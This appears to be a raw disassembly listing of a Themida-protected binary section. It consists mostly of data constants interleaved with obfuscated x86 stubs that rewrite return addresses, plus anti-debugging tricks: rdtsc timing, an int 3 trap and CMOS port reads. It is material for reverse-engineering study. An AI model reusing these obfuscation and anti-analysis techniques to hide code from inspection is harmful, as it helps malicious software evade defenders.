1402498Dh, 34BE9006h dd 50213B55h, 7E8h, 0FCC62600h, 0DFAB1533h, 5E525250h dd 585A310Fh, 0B589905Fh, 6142EA1h ; --------------------------------------------------------------------------- loc_5887C8: ; CODE XREF: Themida_:0058874Bj jmp loc_588C4E ; --------------------------------------------------------------------------- push 0 push ecx call sub_5887D8 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5887D8 proc near ; CODE XREF: Themida_:005887D0p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5887D8 endp ; --------------------------------------------------------------------------- dd 0F1C0AB28h, 6890FFFh, 29000000h, 141C258Dh, 0F00B006h dd 70E6F2BFh, 0AE9h, 0F7AE2800h, 3A247A13h, 0E483B848h dd 56006A71h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0B6800B92h, 475B501h, 0B60F0614h, 56006AD8h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 554D1FFDh, 9E72580Eh, 6880Fh, 0BD230000h, 6141631h dd 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0EB8B9C2Bh, 29FC60A2h, 1408DD95h dd 0C38B6106h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0EFC35747h, 66988F15h, 0E8C1F78Bh, 6890F04h, 2B000000h dd 1425A1BDh, 0E2F76606h, 24058D89h, 0D82B0614h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 21C35242h, 0B45DAEAEh dd 0BC24248Ch, 6890Fh, 0B5890000h, 6143161h, 14E950h, 0F1450000h dd 74BD6BCAh, 0C8E845B4h, 8692A4E9h, 25646318h, 1C89DC4Ch dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 2F5534F5h, 2B0981BFh, 1406BDBDh, 0A5B5FF06h dd 8B06141Ah, 14060DB5h, 6995FF06h, 6A061411h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 3DDFC351h, 2509BD8Bh, 0B00614h, 0E6F0BF0Fh, 0FA8B6670h dd 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0FFEA51C3h, 3CC989CAh, 9B830F61h, 6A000002h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0B62DC355h, 0F0232BF7h, 2AAC7E0Ah, 6AD8B60Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0E6CFC353h, 5E856h, 88B50000h, 5F4B2E35h dd 6BAh, 199D2900h, 8B06142Eh, 3E3BFC3h, 0E8C17AD9h, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 4D860154h, 1371B50Bh, 0F7660614h, 55B529E2h, 2B061413h dd 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 2D1E06CEh, 3723BF66h, 6A58F9h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0D82B32C3h dd 1BC880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0F60124C3h, 0B93454DAh, 7, 3071B58Bh dd 0C1830614h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0AE71E3C5h, 0BD89687Eh dd 614090Dh, 860FD93Bh, 15Eh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 71C35343h, 5567911Fh, 95893A70h dd 6140369h, 0B175BF66h, 89D98C66h, 14137195h, 4C1F606h dd 118840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0DD645BC3h, 81788433h, 187334D6h dd 4595FF74h, 6A06142Eh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 8933C351h, 1406AD8Dh dd 6A5B06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0F7CA3C3h, 6AC32BE8h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 91FAC350h dd 0D224874h, 0A9266CBFh, 14E843h, 72180000h, 4CCB185Eh dd 0FF8FB20Ah, 12E4BD9h, 0F7E65ED8h, 0BD33F65Bh, 61404D1h dd 8343D5Eh, 860F0000h, 56h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 8DC35545h, 25083EF6h, 2956A8E8h dd 140E858Dh, 2FE95E06h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 60B0C351h dd 89DED080h, 14116D8Dh, 0C08B6106h, 3FF6D681h db 1Bh, 77h ; --------------------------------------------------------------------------- loc_588C4E: ; CODE XREF: Themida_:loc_5887C8j mov eax, ebx mov ebx, eax push 0 push edi call sub_588C5D and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588C5D proc near ; CODE XREF: Themida_:00588C55p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_588C5D endp ; --------------------------------------------------------------------------- sub ah, dl sbb al, 93h pop edi sti mov dword ptr [ebp+6140E2Dh], 3C7EB397h push 0 push ecx call sub_588C88 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588C88 proc near ; CODE XREF: Themida_:00588C80p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_588C88 endp ; --------------------------------------------------------------------------- dd 0E19C0929h, 0C06AF1E5h, 781B50Bh, 0C08B0614h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 94C35646h, 0A1B0B1F2h dd 38E64948h, 0A5BD814Fh, 0D006141Ah, 0F000007h, 3785h dd 0FF5E5100h, 141AA585h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0CE924h, 0B07F0000h dd 19E744Fh, 9C788CA8h, 0F18B4C06h, 1AA5B5FFh, 830F0614h dd 6, 198DBD29h, 95FF0614h, 6141169h, 294D9D31h, 6A900614h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 59A3C351h, 108A0F45h, 60000000h, 810Fh, 0B30000h dd 0D8D2961h, 0F061423h, 318Fh, 6880F00h, 8B000000h, 141471BDh dd 14E806h, 0E45C0000h, 9D29BDBEh, 6BDD0CCDh, 560EAB3Eh dd 5A68503Fh, 8166D467h, 0F98EEC6h, 80h, 0F78B5E00h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 86C35545h, 246DBD23h dd 0B58B0614h, 614234Dh, 0CF5B589h, 6A0614h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 6DA388C3h dd 664442DDh, 89EB8EBEh, 140CB5BDh, 0F1B52306h, 8B061402h dd 1423A1B5h, 6AFB8B06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0A28DC350h, 0C1A11B6Fh dd 9DBD8B83h, 8B06140Eh, 142B45B5h, 0E7816606h, 9FE9270Ch dd 6AFFFFF7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0B7A5C350h, 0FD75EEBh, 0BD8BF21Dh dd 6143225h, 0F18BC18Bh, 4EBh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0F0AA3C3h dd 1AE8A716h, 2850F40h, 8B000000h, 0E98589F0h, 8D06141Bh dd 140F9985h, 3EBF6606h, 5E89072h, 78000000h, 0A63430E0h dd 505EF28Bh, 8B0Fh, 6A900000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 62A2C356h, 0CA38BB56h dd 6A6DD7FCh, 0DD858900h, 6A06141Ah, 799D3100h, 8D061404h dd 18044B85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 15520AECh, 0A9934614h, 0BE8h, 4B26A100h dd 9A64423Dh, 0A934A9B3h, 2EC19D09h, 335F0614h, 141981B5h dd 5C08306h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 5FC35343h, 50F28B90h, 0CE9h, 0C38C6100h, 0A32B775Dh dd 36F75BA6h, 6A904Ah, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0BAC35141h, 0C63A4243h, 89FCD598h, 1404D185h dd 8B006A06h, 7195FFF0h, 6A06141Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 42D5C353h dd 451DC80Ch, 8D066027h, 17A8FC9Dh, 3870F06h, 66000000h dd 0D3FFF38Bh, 1C11BD8Bh, 85FF0614h, 614236Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1C35646h, 866BC567h dd 0E86F1607h, 14h, 0E7FC7A7Bh, 675A107h, 0BB4F5D4Bh, 79B14D43h dd 0A8E50E98h, 0BFDE8166h, 0EAE95FC2h, 0E8000007h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6180455h push 0 push ebx call sub_589046 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589046 proc near ; CODE XREF: Themida_:0058903Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_589046 endp ; --------------------------------------------------------------------------- shr byte ptr ds:0DD0CBE66h, 1 jnz loc_589069 and esi, 66855AE7h loc_589069: ; CODE XREF: Themida_:0058905Dj cmp dword ptr [ebp+6141AA5h], 7D0h jbe loc_58919A sub [ebp+614162Dh], eax mov [ebp+61413A5h], edi mov ebx, [ebp+61420B5h] push 0 push edx call sub_589096 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589096 proc near ; CODE XREF: Themida_:0058908Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_589096 endp ; --------------------------------------------------------------------------- retn 1C40h ; --------------------------------------------------------------------------- pop edi mov edi, [ebp+6140835h] and ebx, 100h push 0 push edi call sub_5890C1 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5890C1 proc near ; CODE XREF: Themida_:005890B9p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5890C1 endp ; --------------------------------------------------------------------------- popf jnz loc_5890DE or edi, [ebp+61400FDh] loc_5890DE: ; CODE XREF: Themida_:005890D2j or ebx, ebx jnz loc_589174 push 0 push eax call sub_5890F1 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5890F1 proc near ; CODE XREF: Themida_:005890E9p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5890F1 endp ; --------------------------------------------------------------------------- db 2Ch, 0C9h, 0E3h ; --------------------------------------------------------------------------- sub [ebp+6140FC9h], ecx cmp dword ptr [ebp+618028Fh], 0 jz loc_589141 mov si, 28CDh jmp loc_58918A ; --------------------------------------------------------------------------- push 0 push ecx call sub_58912B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58912B proc near ; CODE XREF: Themida_:00589123p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_58912B endp ; --------------------------------------------------------------------------- db 0E5h dd 61F1EA4Bh ; --------------------------------------------------------------------------- push esi loc_589141: ; CODE XREF: Themida_:00589111j mov dword ptr [ebp+618028Fh], 1 adc di, 9390h jmp loc_58918A ; --------------------------------------------------------------------------- push 0 push esi call sub_589160 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589160 proc near ; CODE XREF: Themida_:00589158p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_589160 endp ; --------------------------------------------------------------------------- dd 0D513C852h ; --------------------------------------------------------------------------- loc_589174: ; CODE XREF: Themida_:005890E0j mov dword ptr [ebp+618028Fh], 0 pusha and ax, 54B1h mov edi, 7DAD31EBh popa loc_58918A: ; CODE XREF: Themida_:0058911Bj ; Themida_:00589150j lea ebx, [ebp+61420B5h] mov di, 3D37h and dword ptr [ebx], 0FFFFFEFFh loc_58919A: ; CODE XREF: Themida_:00589073j mov bx, ds sbb si, 5E2Eh test bl, 4 jz loc_589211 mov edi, 3EB92200h call dword ptr [ebp+6142E45h] push 0 push ebp call sub_5891C1 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5891C1 proc near ; CODE XREF: Themida_:005891B9p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5891C1 endp ; --------------------------------------------------------------------------- db 78h, 0E2h, 0D3h ; --------------------------------------------------------------------------- std lds ecx, [ecx+11958912h] sbb al, 14h push es nop mov di, 2C52h push eax pusha jmp loc_5891F0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 dd 33057974h ; --------------------------------------------------------------------------- loc_5891F0: ; CODE XREF: Themida_:005891E5j push eax push edx call near ptr loc_5891FF+1 push eax mov bh, 0ACh sub eax, 81810707h loc_5891FF: ; CODE XREF: Themida_:005891F2p jnp short loc_58925B rdtsc mov ax, 0A6A7h pop edx pop eax popa nop xor esi, [ebp+614090Dh] loc_589211: ; CODE XREF: Themida_:005891A5j jmp loc_589630 ; --------------------------------------------------------------------------- adc esi, 4EB74469h jg loc_589233 call loc_58922C xor eax, 83FE8D16h loc_58922C: ; CODE XREF: Themida_:00589222p sub edi, [ebp+6140789h] pop esi loc_589233: ; CODE XREF: Themida_:0058921Cj mov al, 0 push eax jmp loc_589244 ; --------------------------------------------------------------------------- db 37h dd 7AAF5353h, 208AA5B8h ; --------------------------------------------------------------------------- loc_589244: ; CODE XREF: Themida_:00589236j pop edi out 70h, al ; CMOS Memory: ; used by real-time clock sub [ebp+61424F5h], ecx mov edi, esi in al, 71h ; CMOS Memory movsx edi, si movzx ebx, al push 0 push ecx ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_58925B: ; CODE XREF: Themida_:loc_5891FFj add eax, [eax] ; --------------------------------------------------------------------------- db 2 dup(0), 20h ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- pop ecx mov [esp+4], ecx add dword ptr [esp+4], 1Ah inc ecx push ecx retn ; --------------------------------------------------------------------------- pushf sbb cl, ah jnz short loc_5892BA cmpsd movaps oword ptr [ebp+61412C9h], xmm6 mov edx, 6 add [ebp+6142A15h], edi mov eax, ebx or [ebp+61422D5h], ebx shr eax, 4 push 0 push edx call sub_5892A0 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5892A0 proc near ; CODE XREF: Themida_:00589298p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5892A0 endp ; --------------------------------------------------------------------------- dd 0B897909Ch, 9E858h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5892BA: ; CODE XREF: Themida_:00589275j mov ds:1FF6EC19h, eax int 3 ; Trap to Debugger dec eax or ah, [esi+1C998D29h] adc al, 6 pop esi mul dx push 0 push esi call sub_5892D8 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5892D8 proc near ; CODE XREF: Themida_:005892D0p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5892D8 endp ; --------------------------------------------------------------------------- dd 0F23E2000h, 0C17DE923h, 6AD82B47h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0A385C351h dd 6870F18h, 89000000h, 1423F99Dh, 0F2BF0F06h, 0AD73BF50h dd 1C8969DDh, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0BD8B6852h, 61415E9h, 1AA5B5FFh dd 8F0F0614h, 0Ah, 5E9h, 0EA88300h, 9531BD75h, 614171Dh dd 116995FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0BD8BDBC3h, 6140ADDh, 858900B0h dd 6140541h, 0BD8970E6h, 6141C91h, 0B70F71E4h, 0F613CF3h dd 28383h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0DFF79AF0h, 800FAD8Dh, 0 ; --------------------------------------------------------------------------- movzx ebx, al push 0 push ebx call sub_5893E2 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5893E2 proc near ; CODE XREF: Themida_:005893DAp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5893E2 endp ; --------------------------------------------------------------------------- mov ah, 0C0h pusha jmp loc_589409 ; --------------------------------------------------------------------------- dw 28C4h dd 7A437267h, 0FF9E2AF4h, 0F176641Eh ; --------------------------------------------------------------------------- push ebp loc_589409: ; CODE XREF: Themida_:005893F5j popa mov esi, edx mov edx, 6 push 0 push eax call sub_58941C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58941C proc near ; CODE XREF: Themida_:00589414p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_58941C endp ; --------------------------------------------------------------------------- dd 3BF1C4F9h, 7B1918ECh, 0BD8B509Ch, 6141389h, 89C38B5Fh dd 14159195h, 4E8C106h, 0CE9h, 4A2B4000h, 7AF8285Fh, 0DD9E18DBh dd 0E2F76675h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0F6C35747h, 0B58BD82Bh, 61416E1h, 0FD82B58h, 1A788h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0BFD74FA9h, 12C52AF4h, 33EE8166h, 7B997h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 6D25FC3h, 30A1BD89h, 0C1830614h, 28E68100h dd 17F917Dh, 141D419Dh, 0FD93B06h, 13F86h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0AA6880BDh, 96930519h, 8C666E11h, 798D29D9h, 0F6061419h dd 840F04C1h, 0D1h, 7E9h, 0B50CA500h, 5F8F12ECh, 2E4595FFh dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 5499C9C3h, 7762DDCDh, 0CE90EE6h, 58000000h dd 3DCC4215h, 1EEEB8EDh, 0E80F8385h, 9, 47D8500Fh, 0DFBF8D11h dd 5E5E5245h, 56006A5Bh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 33FA330Bh, 1C05B58Bh, 0C32B0614h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F4C35141h dd 297F76BAh, 0AE857h, 471B0000h, 6DD9893Ah, 720457ABh dd 5EFABF0Fh, 8343D5Eh, 860F0000h, 11h, 69DBD8Bh, 3DE90614h dd 89000000h, 140B35BDh, 6AC08B06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0E9C1C351h dd 12h, 0B0B6ACAAh, 6DC4F5FCh, 0F229C8A8h, 440122F4h, 0FE8B200Fh ; --------------------------------------------------------------------------- loc_589630: ; CODE XREF: Themida_:loc_589211j mov eax, ebx mov ebx, eax push 0 push edi call sub_58963F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58963F proc near ; CODE XREF: Themida_:00589637p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_58963F endp ; --------------------------------------------------------------------------- cli xchg eax, ebx sbb eax, 0BD9589AEh push es adc al, 6 mov dword ptr [ebp+6142A05h], 3ACE5D33h jnb loc_58966A cld loc_58966A: ; CODE XREF: Themida_:00589663j mov eax, eax mov esi, eax mov edi, 227352B6h cmp dword ptr [ebp+6141AA5h], 7D0h jnz loc_5896B3 push 0 push esi call sub_58968E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58968E proc near ; CODE XREF: Themida_:00589686p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_58968E endp ; --------------------------------------------------------------------------- push esp cmp eax, 4B77FDA5h inc dword ptr [ebp+6141AA5h] mov di, si or [ebp+61404ADh], edx loc_5896B3: ; CODE XREF: Themida_:0058967Dj push dword ptr [ebp+6141AA5h] or si, 3885h call dword ptr [ebp+6141169h] mov di, 0F2C2h xor [ebp+614111Dh], edi nop jmp loc_5896E7 ; --------------------------------------------------------------------------- dd 3FA7F371h, 0C64E223Bh, 4746D054h, 82511B3Fh db 17h, 6Dh, 69h ; --------------------------------------------------------------------------- loc_5896E7: ; CODE XREF: Themida_:005896CFj push 0 push eax call sub_5896F2 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5896F2 proc near ; CODE XREF: Themida_:005896EAp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5896F2 endp ; --------------------------------------------------------------------------- dw 0E11Bh dd 0D8DCF92Ah, 7E99133h, 7D000000h, 4EE7E3Ch, 8B66E41Bh dd 51006AF2h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 6637AFE6h, 9D29F08Bh, 6141505h, 11E9h, 0D843D800h dd 5B0824C0h, 54AF8D81h, 0F57F720Bh, 6A71C5h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 88A82DC3h dd 92654B8Eh, 6AA1689Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 5FF7C351h, 57006ABFh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 5E80D05h, 0AE000000h, 3EFF7E2Fh, 66F38B66h, 0BF5FF88Bh dd 287D88E6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0A0C35545h, 1FEFCFB3h, 899D50Fh, 0F839E936h, 6AFFFFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0C44F00C3h ; --------------------------------------------------------------------------- jmp dword ptr [ecx+ebp*8] ; --------------------------------------------------------------------------- loc_589817: ; DATA XREF: Themida_:0054B598o cmp al, bh mov eax, ecx push 0 push ebx call sub_589826 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589826 proc near ; CODE XREF: Themida_:0058981Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_589826 endp ; --------------------------------------------------------------------------- leave or [esi-31h], al fsubr dword ptr [ebx+ebp*8+4] add [edx+0], ch push edi call sub_58984D and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58984D proc near ; CODE XREF: Themida_:00589845p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_58984D endp ; --------------------------------------------------------------------------- db 1, 6Ch, 0ECh dd 448AE17Bh, 0B531831Eh, 6141BFDh, 0F99858Dh, 6A0614h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 34FE84C3h, 236542C4h, 9076DE8Ah, 8B27BF66h, 0E1BF6650h dd 13E99021h, 9C000000h, 6E620A9Ch, 0A310B152h, 0E6733075h dd 18FCA532h, 6A3D09h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 70C35646h, 6BC78142h, 6A6019E8h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0E8DA75EDh, 6, 14AEA7ACh, 6051EF41h, 0F5E5F61h, 487h dd 6CBF6600h, 0F9B70F38h, 0EC0858Dh, 6A0618h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 42944FC3h dd 0CD380415h, 3DDBD2Bh, 7E90614h, 63000000h, 29E5C9D6h dd 0C08393D5h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0E8AF35Eh, 0F902E07h dd 81h, 52505000h, 12870Fh, 0DE90000h, 0A3000000h, 0F49F975Dh dd 14DBB6F9h, 3EA10E7Ch, 0DE8310Fh, 0BC000000h, 8488EEBAh dd 39173E3Fh, 0D6223FDh, 5A5F6160h, 6A9058h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 178BE8C3h dd 5EFB8B52h, 7E951h, 6D520000h, 0DF537B6h, 6A5EAAh, 6D3ABE66h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 246C19C3h, 0B6D8E904h, 7195FF74h, 0F06141Ah dd 68Ah, 91B58B00h, 0F061407h, 686h, 3DBD8B00h, 8D061426h dd 17A8FC9Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 66DD1830h, 8CD1F681h, 6AD3FFh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 391589C3h, 87C41763h, 68B0Fh, 0BD8B0000h, 6141A11h dd 236D85FFh, 8B660614h, 8870FF8h, 51000000h, 2EB9B589h dd 0E95E0614h, 79Dh, 0E8h, 0ED815D00h, 6180ECAh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 16C35747h, 7983EFC3h dd 0F42A12Ah, 0A88h, 5E900h, 0E6350000h, 81CA5FDCh, 141AA5BDh dd 7D006h, 89860F00h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0F945C355h, 0B601E485h dd 8D0105B3h, 61410A9h, 5EDB58Bh, 9D8B0614h, 6141AF9h dd 0E381F78Bh, 100h, 1A19B58Bh, 0DB0B0614h, 0A9850Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0BEA343C3h, 0B5BD8B62h, 8306141Ah, 180C5FBDh, 840F0006h dd 2Dh, 10E9h, 0B14D4300h, 0E50E9879h, 0C459F0A8h, 1F07F551h dd 9FE9D7h, 0EE90000h, 19000000h, 0C12FF7EAh, 0BBC16901h dd 0FE63EACDh, 5F85C799h, 106180Ch, 0F000000h, 481h, 80BE6600h dd 73E9CBh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 39985AC3h, 519D0908h, 0F061425h dd 68Bh, 81BD2B00h, 0C7061429h, 180C5F85h, 6, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 969B90F0h, 55E7EAE9h, 10E9h, 2FF0AE00h, 0EF489720h dd 0D055C73Eh, 905D7291h, 0F99D8DCEh, 6A06141Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0CEF1C351h, 9B9BD8Bh, 0B58B0614h, 61418CDh, 0FEFF2381h dd 8C0FFFFFh, 18h, 13E9h, 0A4240C00h, 80345AEFh, 6A907979h dd 0BAD76379h, 0D9A4AE77h, 66DB8C66h, 0C3F6F88Bh, 21840F04h dd 8B000000h, 4595FFF8h, 0B06142Eh, 1425D9B5h, 7E85006h dd 9F000000h, 90BA66B9h, 895E3AE5h, 0F18B2404h, 3D4E9h dd 0CCF68100h, 0B03FBA2Fh, 6A70E600h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E4E2C350h dd 52006A71h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 980B8ADEh, 0F442620h, 9E9D8B6h, 0D4000000h dd 0C03F46F8h, 92B06C45h, 9DBD0B56h, 5F06142Bh, 6BAh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 59FAF1D5h, 47AF34Eh, 840F4877h, 5, 0FEB1FCBEh, 6AC38B33h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 7141C352h, 31E6BEDCh, 0E8C15F6Dh, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0CDC2A6E8h, 234F350Bh, 95893AB4h, 6141C9Dh, 89E2F766h dd 142D09BDh, 6AD82B06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0DFDCC351h, 1F66C498h dd 89ADEB7Ch, 1416858Dh, 0C5958906h, 50061434h, 66241C89h dd 48EFE781h, 1AA5B5FFh, 81600614h, 3172C5C6h, 0E6B96663h dd 95FF617Dh, 6141169h, 2D398509h, 0B00614h, 6A70E6h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 7F61D8C3h, 22C0E681h, 0BD892B08h, 61418CDh, 800F71E4h dd 3, 81F08B66h, 0CDE34D7h, 